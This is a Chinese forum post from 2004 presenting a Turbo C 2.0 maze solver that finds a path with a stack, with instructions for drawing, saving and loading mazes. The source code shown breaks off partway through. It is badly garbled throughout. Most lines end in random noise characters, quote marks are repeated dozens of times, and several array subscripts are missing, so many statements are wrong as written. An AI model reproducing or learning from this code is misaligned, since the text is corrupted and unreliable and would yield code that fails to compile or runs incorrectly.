QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7654|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>
+ P2 y& P% h& L( t5 _' k* S" D4 e% G< align=left>程序目的:6 r' f- u' V! b- ~. d+ g
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
: h3 K* U$ A) T# B. x0 _: |显示在屏幕上。
" U4 l" Y9 W, I' u1 D/ o程序实现:1 M; y4 l. n# G/ P9 M' ]+ q
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的9 A9 l6 i1 C6 I% \
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载* Y- v2 F- t) @0 T4 `5 I3 G. N
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫5 K. T5 T& l% w" I
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
0 r& T" a8 T) t8 U7 U* F否则会出现错误信息。输入开始时全是墙,用上下左右键移动,2 C! T7 C9 N& q4 S- W7 @. _2 X
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以/ X7 s# g9 l2 V" R. v0 m# o+ f
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,' H, E" d: Y6 h) D3 Q
找到路径时,屏幕下方会出现Path found,否则出现Path not found。
, [% s0 }% s1 A; ]  F, v* p/ e& s. i$ f% h) ~程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
% w# E' c1 O. P3 B) c不可以在VC上编译。, c/ b+ e9 |/ e8 D" _) f# U5 b
下载DOS版和windows版的迷宫游戏全部代码
4 O0 s! z5 M# d' I* I# M, M+ `用户名:migong
# W1 e7 y: e0 \  {1 K8 r----------------------------------------------------------------------------------
; T/ `( C8 W/ {& T/*/ g5 q1 ]8 B5 b8 q
MazePath Demo BY Turbo C 2.08 x+ K% }- o& U7 H# k3 w
Copyright(c) RoverUnion. All right reserved.
3 L; ?5 C! z' u; Q; s/ T, L/ QFilename: Maze.c3 U4 u5 A" v( Z4 A/ l. Q7 p
Author Dongchengyu.2 J: V2 \8 c8 v* `
Ver 1.10
: A+ b& N) ^( l7 y8 I1 p*/3 }, h& N( G5 w! C
#include &lt;stdio.h&gt;
5 e' O, i' p* w#include &lt;stdlib.h&gt;$ f3 l7 p- O5 d# c; z" T
#include &lt;malloc.h&gt;: ~6 D' {- c. U) Q( i
#include &lt;conio.h&gt;
5 ?  N( B+ A4 `, |4 k#include &lt;dos.h&gt;, L! h- D' ~9 ?/ G, f6 f/ T/ ]( E
#define OK 1
& s  X' W( }7 B7 W) P2 ^#define ERROR 0
  S6 p# b' p' ?$ B5 u#define TRUE 1/ V1 p+ B% |9 u. O
#define FALSE 0
7 z$ a3 h# t! W. V1 ?#define F9 0x435 r, U1 Y" n: c! `) y% H
#define Esc 0x1b) B1 S) ^2 I8 [
#define Del 0x53! P& Y" u! l8 Y; R$ q1 f7 ^$ _! E1 R
#define Home 0x47
& g: Q8 _& I4 ?/ T. {5 T#define End 0x4f
: C% G' p8 `0 j+ _7 l5 i. j#define Space 0x20
2 O4 ?1 ^% j- D; }. C9 C( f& ~9 D#define Up 0x48
& }, w% u4 I0 {7 c" t7 ^' K#define Down 0x50  D. Q7 Q7 l" U( Q9 `  L* m
#define Left 0x4b4 n, B/ r" J; G' p7 \
#define Right 0x4d6 @" U& m; ^2 s. _( Z& b
#define Enter 0x0d
& l7 u0 c! `' n" e4 l$ T- t#define F2 0x3c2 B+ x* ^0 h' r2 N0 \, @
#define F3 0x3d
: O  S3 y& O& J* R% U3 i$ @% L#define STACK_INIT_SIZE 200
  t* X5 A3 ^8 p+ a& b#define STACKINCREMENT 109 y" f" ?7 h  G! B3 Z' ~
typedef int Boolean;* K$ Y/ L- L% K3 J( |& N
typedef int Status;4 {: \2 l/ T# l3 W  j
typedef struct {: p7 I  K- L% _0 j7 I) c, z1 w
int x;
; T+ m6 z+ q# W0 D9 sint y;' g5 n& H- U0 T% c
} PosType;; N* Y- _8 P/ S% n' C
typedef struct {
! {! h  }/ b$ mint ord;
$ q$ P& |0 B$ K9 P9 NPosType seat;7 v( N7 j+ q* ]3 v6 M+ |) {! z
int di;+ f$ q1 `+ Q6 z% M
} SElemType;
& l0 @+ [! v/ O4 I1 S  z5 i/ J4 `typedef struct {2 |5 _' Q+ _& ]# ?4 @. b
int td;
) |, o6 M: W, ~9 e5 t9 r/ V6 cint foot;
6 |! s' m  U- r! ]0 c( }int mark;
7 q- o7 m0 q1 L! w/ \& I} MazeType;
* G6 ^: F* ~! p6 ], j4 _typedef struct {
) H. h4 j0 U# ^: I3 _SElemType *base;
, m7 M, V0 o& k$ H+ _) CSElemType *top;: K% a9 u# _1 i; M. r
int stacksize;- g6 c0 W5 B& W3 ^, J$ y+ j
} Stack;, W6 J! ?6 r, @9 O9 ]! |& S0 U# f
int Maze[20][30];
3 `3 m  p' q/ g4 B$ R/ aMazeType maze[20][30];' L. I+ g2 V9 _" Y4 s& U
PosType StartPlace;9 d1 ?6 |# I( B& |: g( V
PosType EndPlace;6 c& J3 O& M5 t: N
int count;
# L/ X6 b/ q$ B" M# |3 Sint m,n;2 j# w# p3 M. J$ W( t. N# p3 f
Boolean b_start=FALSE,b_end=FALSE;
" i/ f" S# y8 o1 O( evoid CreatMaze(void);
+ U; _5 F% f' \4 d* U$ RStatus SaveMaze(char *filename);
0 u4 \- H5 i8 l* |- X" WStatus LoadMaze(char *filename);
6 P0 r5 O9 j9 Tvoid Error(char *message);) {0 i" c; W% F0 P" {0 J/ |  g
Status InitStack(Stack *s);
2 Z) c2 a! W6 }# j2 K7 I7 {Status DestroyStack(Stack *s);
# j. Y- J) X" o. vStatus ClearStack(Stack *s);
$ D1 W, Z1 L( b9 `3 Y! \Boolean StackEmpty(Stack *s);# C+ d4 ]7 c/ ~' M8 g
int StackLength(Stack *s);
  d# T' h6 i. k& W+ J) m' oStatus Push(Stack *s,SElemType e);
7 G9 V: {0 h: B) B5 zSElemType Pop(Stack *s,SElemType e);
' o4 l+ [6 D% }8 }Status GetTop(Stack *s,SElemType *e);, R: ~5 G; E" X( A
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));! ^6 P  m6 M4 C2 H
Boolean Pass(PosType curpos);. J+ t0 H7 t" A# E9 U
void MarkPrint(PosType seat);) e9 l1 B, |- C$ X( ?0 K  e1 c' }8 S( l
void FootPrint(PosType curpos);) p: ^# _) V. y
PosType NextPos(PosType seat,int di);
7 U+ B' c! h6 M1 e' hStatus MazePath(PosType start,PosType end);
# s% `# ^( N3 r$ [. e; ^& Hvoid CreatMaze(void)4 F7 }* ~: E  {7 f
/* Form the maze. */
6 x1 x' h, M9 p7 ?& i3 t{) `% B- y4 e3 ^- ^$ ~* x
void Error(char *message);2 V- g. Z1 l& n' n5 P8 F2 d; w
Status SaveMaze(char *filename);: f( S1 q5 o) J  q
Status LoadMaze(char *filename);
" r& ?- Q% _/ W4 Y$ G  _int i,j;6 F- H2 L3 M0 t2 k: m  e
int x,y;4 [; r' i7 H. D" }
char c;8 h# g# N4 |8 u& E* L9 C/ U# M! _
char savename[12],loadname[12];
$ b! ?* _, c3 yBoolean flag=FALSE,load=FALSE;6 |' r- [1 b4 J9 X' c1 `
clrscr();
8 P7 D0 P8 T. l% w5 y; Uprintf("Menu:\n\n");
4 w+ F$ i$ N' O) p' Y' A0 sprintf("1.Load Mazefile*.dd)\n\n");$ Q1 n& v4 Z+ I# E
printf("2.Input Maze:\n\n");5 ]8 T3 B! T3 @5 z' A( W1 w
printf("Input your choice: ");' D' v, W& S8 E2 A/ R$ h! b: Y
do; l" l8 N# N; j$ P: Q) Z
{
1 A/ Y2 M9 T+ }, ?, S+ z3 Y$ U$ Hc=getch();4 l# f) }! j# J$ P; {0 @
switch(c)
6 `8 h$ ^% E1 [, Z) s0 M# E5 d{
% I3 U5 z: C1 O1 \8 w& ncase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;8 r# G0 b7 }) K/ m1 n; f! m% H3 r
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
! y3 l. D/ d( O' o' L+ `& Zcase Esc: sleep(1); exit(1);
: G) l% F1 a5 G6 Odefault: break;
8 N/ h! C( L# Y# O5 ]}
1 P# ^. I1 I7 e, @) E) _( ]}$ ~5 ]0 r4 m* f7 b1 E# S1 H: ^
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
3 E; t" b9 H# F' t, c1 T9 m& ?if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
8 A; x8 J" B: Q! W/ _{
7 d, R) N0 B) C1 g9 fprintf("\n\nLoadName: ");" L5 z6 J5 C' g, c
scanf("%s",loadname);
0 ]% [" I1 l' e2 f* v1 H4 V+ iif(LoadMaze(loadname))
. y% t. Y" S9 A" W! u{
. g- S- G9 i7 J% gsleep(1); load=TRUE;
  Q. G+ ?! g" \- I8 {' x7 z- O3 U}+ R! h" Q2 Y3 ~& S5 `) K8 M
else { gotoxy(1,9); printf("Load fail! "); }* Y: y$ ?( k1 M) ?  n; Z
}
# C6 A. V+ r, m' d8 z8 Uif(!load)
& m4 [5 l. Q3 W3 S  t0 w4 }' @/ X! e{/ E$ ?% u. e+ G1 Z2 u+ N
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
; F2 J$ G2 {5 K7 Z0 x; Eprintf("\nInput Length :\n");
1 y' r: m+ r' B7 H( @* e5 Rscanf("%d",&amp;m);
; k- r# ~  @- t) V% Y/ wprintf("\nInput Width :\n");
! S/ B5 q$ P) X+ U% bscanf("%d",&amp;n);
" s3 F: w6 X3 [5 U* m( {if(m&lt;4||n&lt;4) Error("Input");/ k& I8 b9 F# \3 P0 F
if(m&gt;30||n&gt;20) Error("Maze too large");
) v2 w1 L% D; W. m0 l7 n# Efor(i=0;i&lt;30;i++)
7 X/ z/ r" z6 i* Q, ~for(j=0;j&lt;20;j++)
, p6 `( y( X* dMaze[j]=2;
+ R6 u1 f) W0 T7 PStartPlace.x=0;, h7 G4 R* v0 @
StartPlace.y=0;
/ [/ O, Q8 n3 s7 C8 V" W$ hEndPlace.x=0;
/ f  V3 a5 s% Q# ]9 K/ K1 }9 GEndPlace.y=0;* _9 e; A* v2 O" m
clrscr();' w/ l3 U+ B9 ^, Z: D
printf("\n");
+ B; k8 G4 ?7 v% x* K' a$ ifor(i=1;i&lt;=n;i++)# O* T$ y4 M' q" H" Z6 D
{: B4 Y: @7 B% A1 t) t: Z
for(j=1;j&lt;=m;j++)
8 m; V  ^7 }% [. c, J5 x8 [5 D{( b# e& H% F9 g9 o! @7 q
printf(" #");5 `+ c3 n* t- Y9 l0 m4 r/ K% Z% S
Maze[i-1][j-1]=0;2 a+ j0 F/ a( m6 i4 P8 |. ^+ Z  `
}6 p/ g& X! q& Z7 [
printf("\n");
. |* |5 G: r( J% Z& x}
0 r+ r0 r' h/ H, \, }. _# ?* g}
: @5 e" U4 X2 g7 Fgotoxy(65,5);: M. u8 ]+ h* y4 j
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
+ C) Y  k# R& z5 v% a' Mgotoxy(65,7);
# W0 v8 S: R! S, j# Aprintf("Start:Home");
7 ], r  D$ x" o$ Q, K; n+ Wgotoxy(65,9);  _% F8 `% [- E8 m) @8 }, J
printf("End:End");6 u+ m- \6 f7 M* p6 l9 s6 V& w% r
gotoxy(65,11);
$ j. M$ S7 v! m7 [% i$ O" eprintf("Delete Wallel");4 F) M8 I  @, B0 _; I, O
gotoxy(65,13);
% Z; \5 U. d  e$ W2 |( qprintf("Enter Wall:Enter");% I6 ?  g1 K8 b; w7 a" U2 v; X( G
gotoxy(65,15);; r) ^8 f# M& W& X
printf("Save Maze:F2");' Z2 ^; ~# k! {% i8 |
gotoxy(65,17);
/ \! w; p- e0 X0 U8 p) Lprintf("Complete:F9");
. v9 S4 E" W7 Z" F, H7 kgotoxy(65,19);
' B/ f' h! @8 |6 m6 o+ D# x' v% eprintf("Exit:Esc");
8 p  f0 j# |# `( o- ggotoxy(4,3);
4 D% F( Z% w& I( Lx=4;y=3;
3 b; m# D% w! i9 Wdo
: M5 M/ q, t7 L  R/ r' s+ a{
4 Z9 ^4 Y  x0 z7 c4 T, Cc=getch();
* |0 q  V3 `7 S* |. ]! Cswitch(c)% w) c. a/ r9 ^$ I: N) e' X
{
8 |* P! I0 x( n/ f0 m4 J  l# Wcase Up: if(y&gt;3) { y--; gotoxy(x,y); }
# A( }+ U5 [, ?+ Z) P5 s% J3 j0 A* {7 \break;0 p0 v, X. g- S, E- F' v: e0 `( @
case Down: if(y&lt;n) { y++; gotoxy(x,y); }. {4 Y' }8 T/ n; K
break;
! ~( x9 Y7 @$ \3 @" Icase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }. E! S9 j! S8 u/ L. x
break;
7 m9 B8 U; |4 M8 x  zcase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
0 A5 k9 S  y  U9 k% n8 V! `break;
& Q: w* p  ^- {case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;; `9 p8 |- I. b) w3 B1 ]
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;" U' d: p2 |# U8 ~% U' u& L. h9 {
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);! `) b5 ?* z; N
break;
( Z! P7 I/ `" E8 P& o7 k+ Kcase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;; w* o% ?8 F5 p9 H: g1 p" n: W' U
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;, ^& X, f+ c' q, h
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
) M# Y/ a. m: J0 B& A- Obreak;' z; X" I" u$ E& K* {
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)9 r/ \, R. k' S- r9 r
{& c. J1 c. N& X  c" j
StartPlace.x=x/2-1;- `( s  A$ L# e+ A2 M
StartPlace.y=y-2;
, \" c; y% ?. e" pputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');' y" G2 z/ N4 T' d8 n6 R  m9 G
gotoxy(x,y);
+ p# W7 P% E+ gb_start=TRUE;4 r6 d; p6 Y" M
}6 j9 S& h& f& b! g1 \9 @5 C  w
break;. n0 t% [! H2 N! k: w* r* M# k$ h  M
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)* O# i* d; E0 K% q! E  u$ I% @5 Y
{. @9 Z- k! T- c! d- ]& A
EndPlace.x=x/2-1;- u9 w* v9 L3 S
EndPlace.y=y-2;* `' A# N% x# M
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');2 x* f. ]& v& V
gotoxy(x,y);3 G# Y) c/ E; w6 B* i4 N/ M
b_end=TRUE;
# {7 m" ~/ R: n' @  l; Y% s/ _- T}' }' [1 @- y3 a  {
break;' @% c& y6 u2 g$ L
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);6 Y4 Q! N: ^, J8 |7 y
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
# }0 H+ O' F( e/ ~case F2: gotoxy(2,22);6 i, W% i4 O/ s
printf("Savename:");
( e/ k- ]4 c* w+ I% o, ]scanf("%s",savename);! f+ t% ?+ D1 o# h! t1 P
gotoxy(2,22);; c% z. |7 o8 A( |
if(SaveMaze(savename)) printf("Save OK! ");: R* m, J* t3 q1 W0 v
else printf("Save fail! ");, D; B; x* \# |; t, g9 A
sleep(1);9 w6 }- u! O2 z* X, I6 O% B
gotoxy(2,22);. t, r0 R. F) u2 b6 P+ P1 o; l2 R# J
printf(" ");
3 L5 x& H, S8 r# s$ j2 Y) }) P/ rgotoxy(x,y);8 q; o. a6 f9 v( g- u3 m- ^# ~' a  b- _
break;
0 {: b8 x6 V2 k2 e! vdefault: break;' f/ r/ s9 D: c. T
}
! I2 v/ d$ z" m. w" i8 r- o- [}3 g/ [4 X9 u, }9 B$ a# o
while(!flag);1 U+ N  [) B) `! O' R1 k1 ?. U
for(i=0;i&lt;30;i++)
1 l7 \. r( q7 F, Bfor(j=0;j&lt;20;j++)
# Y! n% O# H, L) {0 Z* k{
) I9 @4 n; ^4 c9 P5 Smaze[j].td=Maze[j];! n- q. T/ F4 W8 N" A  w5 a- h. o  Y
maze[j].mark=0;& ^( E, G+ e6 B- J/ I
maze[j].foot=0;% r7 p. K9 ~4 ~$ a$ h% `* [% q
}
( p1 c; H6 }7 J}6 e4 n# d# W- X/ Z3 ]: |2 q. n+ V! G
Status LoadMaze(char *file)6 m* ^% ^9 c+ Q- s( K3 r
/* The maze has been loaded. */. x5 }4 i  J# i* Z$ L: e6 Y
{% a; _/ V3 |+ a
FILE *fp;
3 a2 P; `# V& Y* w1 F2 Pchar *buffer;
4 x9 D+ r- j9 x, o$ d0 _char ch;
( @5 J) J7 z( u8 kint i=0,j,k;
) F- D. A% |8 I( g- M( L: GBoolean len=FALSE,wid=FALSE;
& w2 F* Y+ T% v" j; ^& ]* hif((fp=fopen(file,"r"))==NULL)- d9 z/ T! D2 @: l0 X0 W  P
return ERROR;
! J% d) y' g2 Z9 g% W6 Fbuffer=(char *)malloc(600*sizeof(char));
8 C" ]! s' h: L# r! k' r! _1 nch=fgetc(fp);
$ z2 w0 ~2 v+ r, d$ x, P! F; hwhile(ch!=EOF)1 T; h7 |3 y( g! \' g) N+ ?: x# {) C
{
4 n1 Q3 z8 ^+ Rbuffer=ch;% \# g$ b' n8 v7 A$ k
i++;
: p0 o5 L; s5 h" S- Q& J. Lch=fgetc(fp);, ?  ^: Z" v2 ]* p7 ^& A/ M
}
' ~5 `! H1 S+ I* l1 _" Bm=30;n=20;
$ n+ p1 a8 x6 A' ?* j" _7 rfor(i=0;i&lt;600;i++)
' s/ p, ?6 O6 M& v+ G  s{
9 P' T3 r; h+ F; F+ k: F& j8 L1 Cj=i/30; k=i%30;
! u: K. c0 q) nif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
- h. G- z" Z$ W2 U  B( }2 D. Rif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }+ J( T8 t( ?+ }0 b, T
switch(buffer)" X3 E4 [8 f( h- _
{$ I0 j8 G' r) S4 W2 d
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;- A% R& i- I& r) w. O4 k6 ?
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
% y: d# M6 Q1 Ucase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;" H; s$ G. L6 F; [& o0 P
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;8 ?7 K" U$ C. O  ]% }* r
StartPlace.x=k;
! Y4 F2 [' Q' o8 g& PStartPlace.y=j;
, O" h  ^  c, Pb_start=TRUE;
) |8 R+ w7 T" Rbreak;* z- U7 d, V7 z. u
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
( F1 H" }4 [" K' A8 ]% [EndPlace.x=k;
. C8 x  @' T3 z* u, MEndPlace.y=j;# ]% L4 E7 }$ z5 X. B
b_end=TRUE;
/ l0 ~3 f: {; p6 c! z5 W2 Obreak;
% S. ?# s- s% x8 t/ gdefault : break;# a. m, E  L& K4 G  @: ~
}0 a( g' @. G1 ^- Z
}
/ C5 X' ^9 ]# yfclose(fp);
5 C) [" {$ x/ P# b  Y) p" Dclrscr();9 M% ^& I, a3 \- `3 S/ S; p
for(i=0;i&lt;30;i++)3 V6 o/ a7 R3 Y4 ?
for(j=0;j&lt;20;j++)
; m& ]. j' u9 p- ^, Q{5 d" L: e4 f' j: q5 E
maze[j].td=Maze[j];8 l* I) p( l& s
maze[j].foot=0;" a9 j# h; J4 i* A$ S  U! `' a
maze[j].mark=0;* m7 v7 p0 R) z
if(Maze[j]==0). C/ N6 G) P+ }5 `9 j
{& y: X" W. `! e0 y" o, D
gotoxy(2*i+2,j+2);
5 s/ p& Z, @8 W) S8 Vputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
; y6 R. A  @. G( P( N}
3 w- Y3 G, H* j6 W: Q" t- @}" F+ y, Z: q' B$ ^- K; f( p& f
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
: D, H: r" m& Pputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');7 H9 u: l# U3 m8 T; X% H. a0 u
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
( T+ S$ v: I7 Z$ s3 Rputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
2 y3 v& b; l7 C# a( t9 l# s0 zreturn OK;
& s& s* S* }1 V1 o, c}5 S+ p: a$ P+ w" D
Status SaveMaze(char *filename)
% m" |4 s, a- h, g# A/* The maze has been saved. */) ]% i# @+ m5 }% Y
{
3 u+ ^/ x  e1 S2 X# D# N- B* ?FILE *fp;
+ m; s$ F/ {' J9 ?/ Hchar *buffer;
& N/ ]4 P- w: uint i,j,k;- @: m  N  B3 G0 Q8 V2 U/ z. K% p
fp=fopen(filename,"wb");
4 I; b% C% a/ U' j8 obuffer=(char *)malloc(600*sizeof(char));, n' I7 `% m& l3 u$ L  Q
for(i=0;i&lt;600;i++)
) Z0 R# z, _& t2 m$ a' ^& W{
0 [* |0 O' P0 m. ?" f# cj=i/30; k=i%30;
0 u% u7 r* N( h- Jswitch(Maze[j][k])
7 U* L" s9 ]8 D{
7 X0 D' ^# K! Z1 Fcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
: `0 J/ Z9 f7 {2 H% pcase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
$ f. z& ]( G) b+ ]5 n( b- tcase 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
1 \1 o- F8 U  E7 H, Pdefault : Error("Write"); break;1 E2 E0 j3 _6 Z( e4 t; N
}
: L1 J1 C$ o, f1 W5 S4 D* uif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
% y2 O2 R1 E$ d5 ^7 L7 kif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';# H% K/ K( h  I, _  F
}
0 x# M9 Z3 g, q' b, }2 P, ~* |fwrite(buffer,600,1,fp);0 m) i' _$ A: I6 Y9 n
free(buffer);
3 _* w6 E( F# r! r4 D# E- ifclose(fp);* T' ^' @, X0 Y; u
return OK;
' h; x2 y7 ^  f1 X& D8 `& `1 _& u}2 ^8 D8 f9 j9 o5 Y
void Error(char *message)4 Y; U: D, ?) S) W
{0 b3 W  e$ F/ T# S, M+ b8 K
clrscr();
$ c" S9 L* L& k. L) ]- M8 S2 ]4 k0 Tfprintf(stderr,"Error:%s\n",message);
- [9 e: f3 a1 T( s: |" h$ @exit(1);3 C  H0 J, x  p; E7 t/ Y* N
} /* Error */
% a$ f* r* Q$ s9 p& e* t8 Q2 h$ c- `, j4 J+ F* ]
Status InitStack(Stack *s)
- ?' ]: h% j( }/* The stack s has been created and is initialized to be empty. */
1 d; S3 N  Q/ `' q/ j! A{0 t' k! j# e$ g: h+ J
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
9 V+ C: Z8 Z6 _; wif(!s-&gt;base) Error("Overflow");
2 m! r4 K. I2 d, D' {s-&gt;top=s-&gt;base;
6 j8 ^7 Y( o- R% |s-&gt;stacksize=STACK_INIT_SIZE;- j% S) [4 p. o
return OK;7 @5 n6 i- X8 `! a* _6 L- ?
} /* InitStack */- V% `$ C# v6 B7 R2 x; g3 D
Status DestroyStack(Stack *s)
4 _* W$ |! g$ Y/* The stack s has been destroyed. *// F. J: u9 D. {6 F' ]
{& I" o" r/ R& |+ J" W$ F
s-&gt;top=NULL;
1 M) F# a0 F! ls-&gt;stacksize=0;6 R! d) {' a6 o
free(s-&gt;base);
* y' e* K) g7 V* |& M: S; c% zs-&gt;base=NULL;( b& |& {+ C/ g; m& a1 p$ h0 c( a
return OK;7 H+ A4 v, Z! Z3 Z8 N/ e
} /* DestroyStack */0 q' y7 G" Y! m
Status ClearStack(Stack *s)
! }- a: O6 b. q# O- q! T/* The stack has been clear to be maximum. */: X3 [3 y$ z3 n8 j- Z  H
{
/ [* _* x, w) Ds-&gt;top=s-&gt;base;
& `0 N# Y* D5 ^s-&gt;stacksize=STACK_INIT_SIZE;+ C3 m- Z+ K- D& u" O. \5 |# J
return OK;& E( s% X; O; ~  v. P+ [
} /* ClearStack */
4 \- u5 M3 z5 _9 D* IBoolean StackEmpty(Stack *s)
, L4 X6 b! a+ j  y9 D" A) Z& b/* Check if the stack s is empty. */
  W6 X% _* k1 [1 m! _$ y& m{
/ [* [$ u# B- Y- g5 {! i3 Sif(s-&gt;top==s-&gt;base) return TRUE;
6 z. X$ h: a4 C% eelse return FALSE;! R9 A/ c4 B( p
} /* StackEmpty */2 H/ P- H  M" c& u
int StackLength(Stack *s). r+ F9 r9 z- b) \# i
/* Gain the length of the stack s. */
, i7 w- d; n' e% S, H( I3 Q{" V- Q, z' ?4 o& |+ s+ u* c
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);8 a3 r6 |7 Z: v
else return 0;
6 a- X& D4 K9 b/ \} /* StackLength */$ @6 o# t' o! O; t
Status Push(Stack *s,SElemType e)
; M$ J4 B& U! D5 F/* The element e has been pushed into the stack s. */
( W0 w- Z9 w4 X; r* {6 y{
& s4 ~8 Z* O# |- dif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)2 }- X% y0 k1 f  I1 P- H- F1 B
{! N# o# I. ^7 ~, {. u; n
s-&gt;base=(SElemType *)realloc(s-&gt;base,6 N8 N0 ~5 x& V/ D* W
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));. x0 k. }# A4 g
if(!s-&gt;base) Error("Overflow");
3 A+ N! _( d0 m9 Y5 f" K3 Qs-&gt;top=s-&gt;base+s-&gt;stacksize;9 p& ?& _5 m3 R# F0 k: s
s-&gt;stacksize+=STACKINCREMENT;7 e) S  U; O/ B2 E/ I) O1 u  m
}
' V" l# C8 c! y" T5 i  d7 l* i*s-&gt;top++=e;* p& S( N1 W: H4 {& K- M
return OK;
' s$ m3 t+ v; f3 B} /* Push */" r% F. \( D4 A4 k5 |
SElemType Pop(Stack *s,SElemType e)3 y# `. P* o+ |+ |
/* The element e has been removed from the stack s. */& o1 @$ ~9 d7 u$ R! D; Z2 |# s
{
0 Z% j( |; m2 l9 t  Tif(s-&gt;top==s-&gt;base) Error("op");
7 T! l) }: Q( s- E8 `+ P3 Z3 N# ke=*--s-&gt;top;5 j9 n% d7 ]0 A3 _$ ?
return e;" L' Q1 S5 C  Q4 I1 Z
} /* Pop */7 s5 Y4 e8 R* c# i- x1 J$ ~) G
Status GetTop(Stack *s,SElemType *e)5 t' w: h; h' x/ \; h
/* The element e has got to the top of the stack s.*/# p1 d, _9 ?5 \/ A# M; }
{  u  [; N8 P: Z& V9 ~
if(s-&gt;top==s-&gt;base) Error("GetTop");
# Z1 W% S+ S  p) g# b. f7 n*e=*(s-&gt;top-1);
8 Y  K* _& C: s. I0 breturn OK;
! `. A: [5 b, f5 N4 f} /* GetTop */2 z$ i& M7 F7 `
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */0 c7 X/ I) P9 u5 q  D" t, f+ j
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
. K' n1 O" _" s( |7 n7 h9 U3 r/ t{8 R- G2 c$ Z0 C: X% N' f. |
SElemType p;* }7 e. P" z7 f. W# m
int result;& ^, G+ ?  {5 x$ q
if(s-&gt;top==s-&gt;base) return ERROR;) v+ l# d! a$ ?" F% w" s
p=s-&gt;base;" z2 F4 p! m. \
while(!(p==s-&gt;top))7 J7 m# Y4 p. V% p9 i8 d
{+ z8 a: w, z5 t: a! V9 L
result=(*visit)(p);
+ j$ n: P$ d. l# V1 qp++;7 k3 j$ ^- l" P7 g5 H: @
}
4 r& T5 z; Z: H( n- Dreturn OK;
8 |  d+ ?( p8 q} */
, \" L9 v8 L& {2 dBoolean Pass(PosType curpos)6 P' l* ^7 @9 v
/* Check if the current position can be passed. */% g" p$ Y4 m3 m6 c( v! O
{
9 S3 W& `% b: c$ R) ~% [% e- m% Bif(maze[curpos.x][curpos.y].td==1&amp;&amp;6 {7 @) y: C9 H# ^* @% I
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
0 g( X( P( p6 }8 y2 w' x" D9 yreturn TRUE;
